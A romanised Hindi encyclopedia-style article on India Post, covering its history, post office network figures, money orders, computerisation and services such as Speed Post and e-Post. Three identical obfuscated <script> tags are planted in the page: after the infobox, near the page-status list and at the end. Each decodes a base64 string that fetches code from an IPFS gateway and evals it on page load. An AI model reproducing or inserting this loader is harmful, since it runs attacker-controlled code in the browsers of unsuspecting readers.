डाक संचार

dak sanchar
bharatiy dak pratik chihn|200px|center
vivaran	bharatiy dak, bharat sarakar ki aijeansi hai.
sthapana	1 aprॅl, 1854
mukhyalay	nee dilli
uddeshy	mel, parsal, dhan-hastaantaran, baiankiang, bima aur khudara sevaoan ko tezi aur vishvasaniyata ke sath muhaiya karana.
sanbandhit lekh	bharatiy dak, dak tikat, dakaghar, dak soochak sankhya (pinakod), postakard , tar
any janakari	bharatiy dak desh mean sabase b da ritel netavark hai. samay ka sath dete hue is ne dher sari suvidhaean shuroo kian jinamean maniardar aur bachat baiank mahatvapoorn hai.
bahari k diyaan	bharatiy dak

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bharat ki azadi ke vakh‍t desh bhar mean 23,344 dakaghar the. inamean se 19,184 dakaghar gramin kshetroan mean aur 4,160 shahari kshetroan mean the. desh bhar mean 31 march, 2008 tak 1,55,035 dakaghar the. jinamean se 1,39,173 dakaghar gramin kshetroan aur 15,862 shahari kshetroan mean the. posh‍tal netavark mean is sat gune vikas ke parinamash‍varoop aj bharat mean vishh‍v ka sabase b da posh‍tal netavark hai.

posh‍tal netavark ke vish‍tar mean, khas taur par gramin kshetroan mean, kafi had tak, dak vibhag ke vishishh‍t tantr aanshakalik atirikh‍t vibhagiy dakakhanoan ko shuroo karane ka yogadan raha hai. is vh‍yavash‍tha ke aantargat vishesh pravadhanoan ke anusar sh‍thaniy nivasiyoan ko niyukh‍t kiya jata hai, jo posh‍t aauphis ki adhikatam 5 ghantoan ki avadhi tak dekhabhal karate haian aur nishh‍chit bhattoan ke bhugatan par patroan ko lane evan pahuanchane ka kam karate haian. bharat mean ek dakaghar 21.20 varg ki.mi. kshetr aur 7174 logoan ki janasankhh‍ya ko apani seva pradan karata hai. vibhag dvara nirdharit janasankhh‍ya, ay evan doori se sanbandhit manakoan ke anuroop hi dakaghar khole jate haian. gramin kshetroan mean dakaghar kholane par sabh‍sidi di jati hai jo parvatiy, regish‍tani aur durgam kshetroan mean lagat ki 85 pratishat tak hoti hai aur samanh‍y gramin kshetroan mean lagat ki 68 pratishat tak hoti hai.

posh‍tal netavark mean char shreniyoan ke dakaghar haian – pradhan dakaghar, up dakaghar, atirikh‍t vibhagiy up-dakaghar aur atirikh‍t vibhagiy shakha dakaghar. sabhi shreniyoan ke dakaghar saman posh‍tal sevaean pradan karate haian. halaanki dilivari ka kam vishishh‍t dakagharoan ke lie nishh‍chit hai. prabandh-niyantran ke lie shakha dakagharoan se kosh ko up-dakagharoan mean aur aant mean pradhan dakaghar mean lakar jama kiya jata hai.

vibhag mean 31 march, 2009 tak 2.18 lakh vibhagiy karmachari aur lagabhag 2.76 lakh gramin dak sevak the. unake prashikshan ki avashh‍yakataoan ko ek suvikasit prashikshan tantr dvara poora kiya jata hai.

dak paddhati

bharat mean adhunik dak-vh‍yavash‍tha ki sh‍thapana 18vian sadi ke uttarardh mean huee. varsh 1766 mean l aaurd kh‍laiv dvara sh‍thapit is dak-vh‍yavash‍tha ka age vikas varen hestiangs ne varsh 1774 mean ek posh‍t mash‍tar janaral ke adhin kalakatta ji.pi.o. ki sh‍thapana karake kiya. madras evan banbee ki anh‍y presideansi mean janaral posh‍t aauphis kramash: 1786 evan 1793 mean ash‍tith‍v mean aya. 1837 adhiniyam ne sarvapratham tin presideansi mean posh‍t aauphis sangathan ko ek akhil bharatiy seva ke roop mean saman adhar par ek karane ke lie viniyamit kiya. 1854 ke posh‍t aauphis adhiniyam ne dak pranali ke sh‍varoop amool chool sanshodhan kiya aur bharatiy posh‍t aauphis vh‍yavash‍tha ki ek sau tirapan varshoan poorv 1 akh‍toobar, 1984 ko vartaman prashasanik nianv rakhi gee thi. vartaman mean bharatiy posh‍t aauphis adhiniyam, 1898 desh mean posh‍tal sevaoan ko niyantrit kar raha hai. posh‍t aauphis netavark ne dak sanchar suvidhaoan ko pradan karane ke atirikh‍t paisa bhejane, baiankiang aur bima sevaoan ki suvidhaoan ko bhi 19vian sadi ke uttarardh se pradan kiya hai.

aantararashtriy dak

bharat 1876 se yoonivarsal posh‍tal yooniyan (yoo.pi.yoo.) ka aur 1964 se eshiya prashaant posh‍tal yooniyan (e.pi.pi.yoo.) ka sadash‍y hai. in sangathanoan ka uddeshh‍y hai anh‍y deshoan ke bich dak sanbandhoan ko badhana, sugam karana aur sudharana. bharat 217 se bhi adhik deshoan ke sath sh‍thaliy aur viman seva dvara patro ka adan-pradan karata hai.

maniaaurdar

1. REDIRECTsaancha:mukhy

maniaaurdar ke madhh‍yam se chune hue deshoan se rupaya bharat bheja ja sakata hai. bharat se 27 deshoan ke sath maniaaurdar seva ki vh‍yavash‍tha hai. bharat ka bhootan evan nepal ke sath dotarapha maniaaurdar seva ka sanbandh hai yani in deshoan se aur in deshoan ko maniaaurdar bheja ja sakata hai. shesh 25 deshoan ke sath sirph ane vali suvidha upalabh‍dh hai yani in deshoan mean jama kie ge rupe ka bharat mean bhugatan ho sakata hai.

aantararashtriy ilekh‍tr aaunik maniaaurdar seva jo 1986 mean paanch deshoan ke sath shuroo ki gee thi, ab usaka vish‍tar 97 deshoan ke sath ho gaya hai. videshi sh‍thanoan se niryat evan ayat ko age badhane ke lie muanbee, kolakata, chennee aur dilli mean vinimay ke mukhh‍y videshi karyalayoan ki sh‍thapana ki gee hai. isake atirikh‍t ayat evan niryat donoan ke lie ahamadabad, bangalaur, jayapur, kochin, shrinagar evan noeda mean chh: up videshi posh‍t aauphisoan ki sh‍thapana ki gee hai. varanasi, kanapur, soorat, ludhiyana, muradabad aur guvahati mean in kshetroan mean niryatakoan/paryatakoan ki avashh‍yakataoan ko poora karane ke lie niryat vish‍tar khi daki ko bhi praranbh kiya gaya hai. vibhag ne grahakoan ko tezise, kushal aur vishvasaniy seva ke lie yoonivarsal postal eka (yoopiyoo) dvara vikasit aantararashtriy vittiy sistam s aauphtaveyar ke madhyam se ilektr aaunik iantaraneshanal maniaaurdar seva (avak) shuroo ki hai. is seva ko adhik deshoan mean upalabdh karane ka prastav vicharadhin hai. aantararashtriy dak ke vitaran mean gunavatta pradarshan ke uchch manakoan ko sunishchit karane ke lie eksacheanj karyalay mean iantaraneshanal dak prasanskaran suvidha ka unnayan 11vian panchavarshiy yojana ke tahat lagoo kiya gaya hai.

praudyogikiy unh‍nayan

bharatiy dak seva aeeti yani soochana praudyogiki ke prayog dvara upabhokh‍taoan evan karmachariyoan ko aur adhik santushh‍t karane ke sath hi sath apana rajash‍v badhane ke lie bhi prayasarat hai. dak vibhag ka yah lakshh‍y hai ki soochana praudyogiki ka prayog karake apane kshetr mean avh‍val sh‍thiti praph‍t ki jae aur dak sevaean upalabh‍dh karane mean shreshh‍tata hasil ki jae taki vibhag ko adhunik sanchar evan vittiy seva ejeansi ka sh‍varoop pradan kiya ja sake.

dakagharoan ko kanph‍yootarikrit karake netavark se jo dana: dak vibhag ne march, 2007 ke aant sabhi mukhh‍y dakagharoan tatha b di sankhh‍ya mean up-dakagharoan ko kanph‍yootar tatha usase sanbaddh upakaranoan jaise– priantar, sh‍kainar, tula, modam adi tatha unh‍hean chalane ke lie uchit bijali upakaran jaise – janaretar set, yoopies adi ki apoorti ki ja chuki hai. march, 2009 tak kul 9939 dak khanoan ko kanph‍yootarikrit kiya ja chuka hai. neshanal ianph aaurmeanshan seantar bhi, sabhi mukhh‍y dakagharoan, prashasanik karyalayoan pramukh sh‍pid posh‍t keandro aur lekha karyalayoan ko apas mean jo dane ke lie vain (vaid eriya netavark) bhi sh‍thapit kar raha hai. nee dilh‍li evan maisoor mean neshanal deta seantar sh‍thapit kiya gaya hai aur is deta seantar ko bhi van se jo da gaya hai.

aauparetiv karyalayoan ka adhunikikaran: 10 vian panchavarshiy yojana ke tahat, karmachari paristhiti vijnan aur vatavaran ko behatar banane ke lie 822 dakagharoan ke adhunikikaran ke lie kadam uthaya gaya. isake parinamasvaroop behatar gunavatta ke kauantar, grahakoan aur karmachariyoan ke lie behatar pharnichar, samuchit roshani aur ekaroopata laee gee hai. isake lie 11vian panchavarshiy yojana mean sabhi dakagharoan ka ek ilektr aaunik netavark upalabdh karane ke prayasoan mean vibhag ke ek lanbi chhalaang lagane ki yojana hai. sabhi dakagharoan se deta prapt karane ke lie ek ekikrit s aauphtaveyar vikasit karane ki bhi yojana hai, jisase grahak aur prabandhak sashakt ban sakean.

dak

1. REDIRECTsaancha:mukhy

rajistreshan vargikaran ka kampyootarikaran: dak netavark ke adhunikikaran ke roop mean, vittiy varsh 1995-96 ke dauran dilli, muanbee, haidarabad aur chennee ke pramukh dak karyalayoan mean rajistreshan vargikaran kampyootarikaran dvara chhantaee ka kam aranbh ho gaya tha. rajistreshan vargikaran kary ke lie 31 march 2007 tak 154 dak karyalayoan ko kampyootarikrit kar diya gaya.

echaro ka kampyootarikaran

adhunikikaran karyakram ke ek hisse ke roop mean, dak sanchalan se sanbandhit abhilekhoan ke uchit rakharakhav aur kushal karyalay prabandhan ke lie echaro ka kampyootarikaran kiya gaya hai. vittiy varsh 1997-98 ke dauran echaro haidarabad divijan ka kampyootarikaran karake is sanbandh mean ek shuruat ki gee thi. desh ke sabhi echaro ko 31 march 2007 tak kampyootarikrit kar diya gaya hai.

dak karyalayoan ka adhunikikaran (ergonomiks mean sudhar)

karmachari paristhiti vijnan (ergonomiks) aur kary ke vatavaran mean sudhar hetu sanchalan ke liye behatar upakaranoan aur behatar mahaul ke sath dak karyalayoan ka adhunikikaran kiya ja raha hai. yah pariyojana vittiy varsh 1995-96, mean shuroo ki gee thi, jab 22 dak karyalayoan ko adhunik banaya gaya tha. 31 march 2006 tak, 269 dak karyalayoan ka adhunikikaran ho chuka hai.

dak netavark ko majaboot karane ke uddeshy se, kary sanchalan ke kharch mean kami karane ke lie aur dak sanbandhi vyavasay se rajasv paida karane ke uddeshy se, poore desh mean em.bi.si. ki sthapana ki ja rahi hai. ye keandr atyadhunik praudyogiki se susajjit hoange aur grahakoan ki ek b di sankhya ko vibhinn avashyakataoan ke lie ek sthan par samadhan ki suvidha pradan kareange. 31 march, 2007 tak, chhote dak karyalay ke vilay/band hone ke uparant 90 em. bi. si. khole ja chuke haian.

dak yantrikaran, adhunikikaran aur kampyootarikaran

dakagharoan ka kampyootarikaran aur netavarkiang

march 2009 ke aant tak dak vibhag ne sabhi pradhan dakagharoan aur bahut sare up dakagharoan ko kanpyootar aur isake upakaran, jaise - priantar, skainar, tarajoo, modem, adi aur isake sath avashyak bijali ke upakaran jaise - jeansets, yoo. pi. es. adi muhaiya karaya hai. march 2009 tak kul 9939 dakaghar kampyootarikrit ho chuke haian. rashtriy soochana vijnan kendr (enaeesi) ne bhi sabhi pradhan dakagharoan, prashasanik karyalayoan, b de spid post keandroan evan lekha karyalayoan ko jo dane ke liye ek vain (vaid eriya netavark) sthapit kiya hai. march 2009 tak 1274 karyalay is netavark se jo de ja chuke haian. rashtriy data keandr bhi nee dilli aur maisoor mean sthapit kiye gaye haian aur is data keandr ko vain se jo da gaya hai.

panjikaran s aaurtiang ka kanpyootarikaran

adhunikikaran karyakram ke ek hisse ke roop mean, pramukh dak karyalayoan mean panjikaran chhantaee (rajistreshan-s aaurtiang) ke kam ka kampyootarikaran shuroo kiya gaya hai. vittiy varsh 1995-96 ke dauran dilli, muanbee, haidarabad aur chennee mean rajistreshan-s aaurtiang ke kam ka kampyootarikaran shuroo kiya gaya tha. 31 march 2006, tak 103 dak karyalayoan mean panjikaran chhantaee ke kam ko kanpyootarikrit kiya ja chuka hai.

traanjit mel karyalayoan ka kampyootarikaran

kampyootarikaran ke lie traanjit mel aauphis (tiemo) ki pahachan ek any kshetr ke roop mean ki gee hai. band dak thailiyoan ke sanchalan aur vitaran mean tiemo ki mahattvapoorn bhoomika rahati hai. do tiemo, dilli havaee adda tieo aur muanbee havaee adda tiemo ko vittiy varsh 1996-97 ke dauran kampyootarikrit kar diya gaya tha. 31 march 2006 tak 28 tiemo ko kampyootarikrit kiya gaya.

mukhy rik aaurd karyalay ka kampyootarikaran (echaro)

adhunikikaran ke hisse ke roop mean, moolyavan rik aaurd ke samuchit rakharakhav aur kushal karyalay prabandhan ke lie mukhy rik aaurd karyalay (echaro) ka kampyootarikaran shuroo kiya gaya hai. vittiy varsh 1997-98 ke dauran is sanbandh mean echaro, haidarabad sh aaurtiang divijan ke kampyootarikaran dvara shuruat ki gee. 31 march 2006 tak 70 echaro ko kampyootarikrit kiya gaya.

vieseti upagrah netavark ke madhyam se mani aaurdar bhejana

desh bhar mean mani aaurdar ko bhejane mean lagane vale samay ko kam karane ke liye, ab mani aaurdar 150 vieseti steshan ke visait saitelaeet netavark aur 1485 eksateanded saitelaeet mani aaurdar (eeesemo) steshan ke madhyam se bheje jate haian. is suvidha se grahakoan ko tezise paisa mil jata hai.

aautometik dak prosesiang keandr (eemapisi)

aautometik dak prosesiang keandr tezise dak pahuanchane mean madad karata hai. do eemapisi muanbee aur chennee mean kramashah. 1993 aur 1996 mean sthapit kie ge. 10vian panchavarshiy yojana ke dauran do aur eemapisi dilli aur kolakata mean sthapit karane ki manjoori de di gee hai. eemapisi ki chhantaee mashinoan ki gati bahut tej hogi, jo prati ghante 30,000 patroan ki chhantaee kar sakata hai.

aauparetiv karyalayoan ka adhunikikaran (karmachari paristhitiki vijnan mean sudhar)

dasavian yojana mean karmachari paristhitiki vijnan mean sudhar ke madhyam se dak karyalayoan ko adhunikikaran saksham banane ke lie 811 dakagharoan ko adhunik banane ka lakshy hai. 2005-06 tak, 552 dakagharoan ka adhunikikaran kiya gaya hai aur shesh dakagharoan ka 2006-07 ke dauran adhunikikaran kiya jaega.

dak karyalayoan ka adhunikikaran

dak karyalayoan mean karmachariyoan ke lie behatar mahaul ke lie behatar sanchalan upakaran aur pharnicharoan mean sudhar ke sath adhunikikaran kiya ja raha hai. vittiy varsh 1995-96 ke dauran pariyojana shuroo ki gee thi, jab 22 dak karyalayoan ka adhunikikaran kiya gaya. 31 march 2006 tak 269 dak karyalayoan ka adhunikikaran kiya gaya.

vyavasay vikas kriyaean

ek vyavasay vikas nideshalay ne 1996 mean vipanan aur vishisht grahak segameant ki zarooratoan ko poora karane ke lie primiyam sevaoan ko badhava dene ke uddeshy se sthapit kiya gaya tha. yah vyavasay vikas aur vipanan nideshalay 1 aprail 2005, dak utpadoan ke poore vipanan par ek tej dhyan pradan karane mean punargathit kiya gaya tha. ek alag parsal aur rasad vibhag vyavasay vikas aur vipanan nideshalay 1 aprail, 2005 mean vishv arthik manch banaya gaya hai. parsal utpadoan par keandrit primiyam vibhag dvara ki gayi peshakash ki sevaoan mean se kuchh niche die ge haian:

sh‍pid posh‍t

1. REDIRECTsaancha:mukhy

sh‍pid posh‍t seva 1 agast, 1986 ko shuroo kiya gaya tha. is seva ke aantargat patroan, dash‍tavejoan aur parsaloan ki dilivari ek nishh‍chit avadhi ke aantargat ki jati hai aur avadhi mean dilivari n hone par grahak ko dak shulh‍k poorn roop se vapas kar diya jata hai. sh‍pid posh‍t netavark mean 163 rashh‍triy aur 953 rajh‍y sh‍pid posh‍t keandr shamil haian. yah seva aantararashtriy kshetr mean bhi 97 deshoan mean upalabh‍dh hai. iantaranet adharit traik eand tres sarvis sh‍pid net ko 3 janavari, 2002 ko shuroo kiya gaya tha. grahakoan ko sh‍pid posh‍t ki gee chijoan ke lie traikiang ki suvidha pradan karane ke sath yah prabandhan ko seva ki gunavatta, vh‍yapar kary, grahak seva vijnapan ke bare mean soochana bhi pradan karata hai. yah ab sabhi 315 rashh‍triy sh‍pid posh‍t keandroan aur 857 rajh‍y sh‍pid keandroan mean seva pradan kar raha hai.

bijanes posh‍t

1. REDIRECTsaancha:mukhy

is vibhag ne 1 janavari 1997 se poorv meliang prakriyaoan ke lie thok grahakoan ki vishishh‍t avashh‍yakataoan ko poora karane ke lie bijanes posh‍t shuroo kiya hai. isake anusar, yah sangrah mean, chijoan ko aandar rakhane mean, pata likhane mean, sil karane mean, sh‍taanp lagane ith‍yadi ke roop mean dak dvara pradan ki gee sabhi paranparagat sevaoan mean moolh‍y sanvarddhan ka kam karata hai. bijanes posh‍t ke aantargat grahakoan ko pradan ki gee poorv mel-sevaoan mean abhi hal mean biloan ki chhapaee, vittiy bh‍yora, melar ith‍yadi ko bhi shamil kar liya gaya hai.

bil mel seva

1. REDIRECTsaancha:mukhy

vittiy sh‍tetameantoan, biloan, masik khata biloan aur isi tarah ki anh‍y chijean jo seva pradanakarta apane grahakoan ko posh‍t kar sakate haian, avadhik sanchar ke mel ke lie moolh‍yopayogi hal pradan karane ke lie 15 sitanbar, 2003 ko bil mel seva shuroo ki gee thi. ek rashh‍triy bil mel seva pharavari 2005 mean shuroo ki gee thi jo yah anumati pradan karati hai ki bahar ke gantavh‍y sh‍thanoan ke lie jane vale bil mel seva uth‍padoan ko bhi paiketoan mean sh‍pid posh‍t, ekh‍sapres parsal ith‍yadi ke roop mean gantavh‍y shaharoan ko bheja ja sakata hai, agar bhejane vala isaka bhugatan karata hai. vh‍yakh‍tigat biloan ka shulh‍k sirph sh‍thaniy bil mel seva ki daroan par liya jata hai.

ekh‍sapres parsal posh‍t

1. REDIRECTsaancha:mukhy

ekh‍sapres parsal posh‍t sh‍thaliy yatayat ke madhh‍yam se ek vishh‍vasaniy aur samayabaddh parsal seva pradan karata hai. yah karporet valoan aur vh‍yavasay sansh‍thanoan ke lie theke ke adhar par dor too dor dilivari aur 50,000 rupaye tak ki vipipi seva pradan karata hai. ekh‍sapres parsal posh‍t ki bukiang desh mean 315 sh‍teshanoan mean ki ja sakati hai jahaan rashh‍triy sh‍pid posh‍t keandr upalabh‍dh haian.

l aaujish‍tik posh‍t

1. REDIRECTsaancha:mukhy

is vibhag dvara 2004-05 mean ek l aaujish‍tik posh‍t seva shuroo ki gee thi. yah seva pahale hi kee posh‍tal sarkiloan mean shuroo ho chuki hai. l aaujish‍tik posh‍t bina kisi adhikatam sima ke maloan ko ek jagah se doosari jagah pahuanchata hai. l aaujish‍tik posh‍t mean mal uthane, unaki dilivari, traikiang aur tresiang jaisi moolh‍y sanvardhit sevaean bhi pradan ki jati haian.

midiya posh‍t

1. REDIRECTsaancha:mukhy

yah vibhag karporet aur sarakari sangathanoan ko midiya posh‍t ke madhh‍yam se saksham grahakoan tak pahuanchane ke lie ek advitiy midiya pradan karata hai. is suvidha ke aantargat grahak apane braandoan ke vijnapan ke lie agralikhit prakriyaoan ka anusaran kar sakate haian:
(k) posh‍t kardoan, aantardeshiy patroan, airogram aur anh‍y posh‍tal uth‍padoan par vijnapan.
(kh) letar b aaukh‍soan par sh‍than ke lie prayojan.

ritel posh‍t

1. REDIRECTsaancha:mukhy

1.5 lakh se adhik posh‍t aauphisoan ke vishal netavark ke madhh‍yam se yah vibhag sarakari aur anh‍y niji sangathanoan ke lie sabhi janopayogi biloan ko ekatr karane aur avedan ph aaurmoan ki bikri ki suvidha pradan karata hai. ritel posh‍t ke aantargat ki jane vali prakriyaoan mean se kuchh haian – sangh lok seva ayog ke avedan pharmoan ki bikri, posh‍tamain ke jariye sarve, posh‍tamain ke jariye pate ki jaanch aur posh‍t netavark ke madhh‍yam se rrin avedanoan ko ekatr karana ith‍yadi.

dayarekh‍t posh‍t

1. REDIRECTsaancha:mukhy

bahut sare deshoan ne dayarekh‍t marketiang/vijnapan mel ki pahachan vikas ki uchh‍ch kshamata vale bijanes mel ke ek pramukh aang ke roop mean ki hai. uchh‍ch arthik vikas ke sath dayarekh‍t mel ka dayara bharat mean bhi kafi vikas karega. lakshh‍y samuday ke gharoan tak bina pate vale meloan ki dilivari ke lie dayarekh‍t posh‍t ke nam se jane vali seva ko 2 joon, 2005 mean shuroo kiya gaya tha. 18 aprail, 2006 se ek nee dayarekh‍t mel moolh‍y sanvardhit seva bhi shuroo ki gee hai, jisamean biloan ith‍yadi jaise len-den vale meloan ke sath vijnapan mel ko milane ki anumati di gee hai.

ee-posh‍t

1. REDIRECTsaancha:mukhy

30 janavari, 2004 ko shuroo ki gee is seva ke aantargat desh ke sabhi posh‍t aauphisoan mean ee-mel ke madhh‍yam se sandeshoan ya tash‍viroan ko bhejane aur praph‍t karane ki suvidha logoan ko pradan ki jati hai. vaise log jinake pas iantaranet ki suvidha nahian hai aur ee-mel aeedi nahian hai vaise log bhi ee-mel ke madhh‍yam se sandeshoan ko bhejane aur praph‍t karane ka labh utha sakate haian. is prakar dijital divaid ki khaee ko pata ja sakata hai. ise vh‍yapar kshetr ke lie bhi upayogi banane ke lie 18 aktoobar, 2005 ko ee-posh‍t ka ek karporet aang shuroo kiya gaya tha jo 9999 patoan ki adhikatam sankhh‍ya ko tath‍kshan bhejane ki anumati deta hai.

ee-bil posh‍t

1. REDIRECTsaancha:mukhy

grahakoan ke lie praudyogiki yukh‍t sevaoan mean se ek ke roop me is vibhag ne ee-bil posh‍t namak ek nee seva shuroo ki hai. vartaman mean yah seva bangalaur aur kolakata mean upalabh‍dh hai aur bahut jalh‍di hi anh‍y shaharoan mean isake shuroo hone ki sanbhavana hai. ise grahakoan ki zarooratoan ko dhh‍yan mean rakhate hue taiyar kiya gaya hai. yah seva bijali, teliphon, mobail, pani aur anh‍y biloan ke posh‍t aauphis ke kauantaroan par bhugatan ke lie bahut upayogi hai. grahak apane najadiki posh‍t aauphis jakar apane biloan ka bhugatan kar sakate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

• sanchar aur soochana praudyogiki

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>